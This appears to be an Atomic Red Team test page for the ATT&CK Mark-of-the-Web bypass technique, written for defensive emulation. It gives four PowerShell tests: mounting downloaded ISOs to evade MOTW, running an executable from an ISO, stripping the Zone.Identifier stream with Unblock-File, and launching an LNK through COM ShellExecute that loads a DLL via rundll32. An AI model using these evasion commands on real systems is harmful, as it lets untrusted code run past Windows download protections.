Try it using Invoke-Atomic

Subvert Trust Controls: Mark-of-the-Web Bypass

Description from ATT&CK

Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)

Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)

Atomic Tests

Atomic Test #1 - Mount ISO image

Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

Supported Platforms: windows

auto_generated_guid: 002cca30-4778-4891-878a-aaffcfa502fa

Inputs:

Name Description Type Default Value
path_of_iso Path to ISO file Path PathToAtomicsFolder\T1553.005\bin\T1553.005.iso

Attack Commands: Run with powershell!

1
2
Mount-DiskImage -ImagePath "#{path_of_iso}"

Cleanup Commands:

1
2
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null

Dependencies: Run with powershell!

Description: T1553.005.iso must exist on disk at specified location (#{path_of_iso})

Check Prereq Commands:

1
2
if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile "#{path_of_iso}"

Atomic Test #2 - Mount an ISO image and run executable from the ISO

Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing "Hello, World!". ISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/,

Supported Platforms: windows

auto_generated_guid: 42f22b00-0242-4afc-a61b-0da05041f9cc

Inputs:

Name Description Type Default Value
path_of_iso Path to ISO file Path PathToAtomicsFolder\T1553.005\bin\FeelTheBurn.iso

Attack Commands: Run with powershell!

1
2
3
4
$keep = Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
$driveLetter = ($keep | Get-Volume).DriveLetter
invoke-item "$($driveLetter):\hello.exe"

Cleanup Commands:

1
2
3
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
Stop-process -name "hello" -Force -ErrorAction ignore

Dependencies: Run with powershell!

Description: FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})

Check Prereq Commands:

1
2
if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile "#{path_of_iso}"

Atomic Test #3 - Remove the Zone.Identifier alternate data stream

Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet. Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.

Supported Platforms: windows

auto_generated_guid: 64b12afc-18b8-4d3f-9eab-7f6cae7c73f9

Inputs:

Name Description Type Default Value
file_to_download File that will be downloaded to test against. Url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md
file_path File to have the Zone.Identifier removed. String $env:tmp\ReadMe.md

Attack Commands: Run with powershell!

1
2
Unblock-File -Path #{file_path}

Cleanup Commands:

1
2
Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'

Dependencies: Run with powershell!

Description: A test file with the Zone.Identifier attribute must be present. Check Prereq Commands:

1
2
if (Test-Path #{file_path}) { EXIT 0 } else { EXIT 1 }

Get Prereq Commands:

1
2
3
Invoke-WebRequest #{file_to_download} -OutFile #{file_path}
Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'

Atomic Test #4 - Execute LNK file from ISO

Executes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.

Supported Platforms: windows

auto_generated_guid: c2587b8d-743d-4985-aa50-c83394eaeb68

Inputs:

Name Description Type Default Value
path_of_iso Path to ISO file Path PathToAtomicsFolder\T1553.005\bin\AllTheThings.iso

Attack Commands: Run with powershell!

1
2
3
4
5
6
Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
$keep = Get-Volume -FileSystemLabel "AllTheThings"
$driveLetter = ($keep | Get-Volume).DriveLetter
$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
$instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)

Cleanup Commands:

1
2
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null

Dependencies: Run with powershell!

Description: AllTheThings.iso must exist on disk at specified location (#{path_of_iso})

Check Prereq Commands:

1
2
if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile "#{path_of_iso}"

source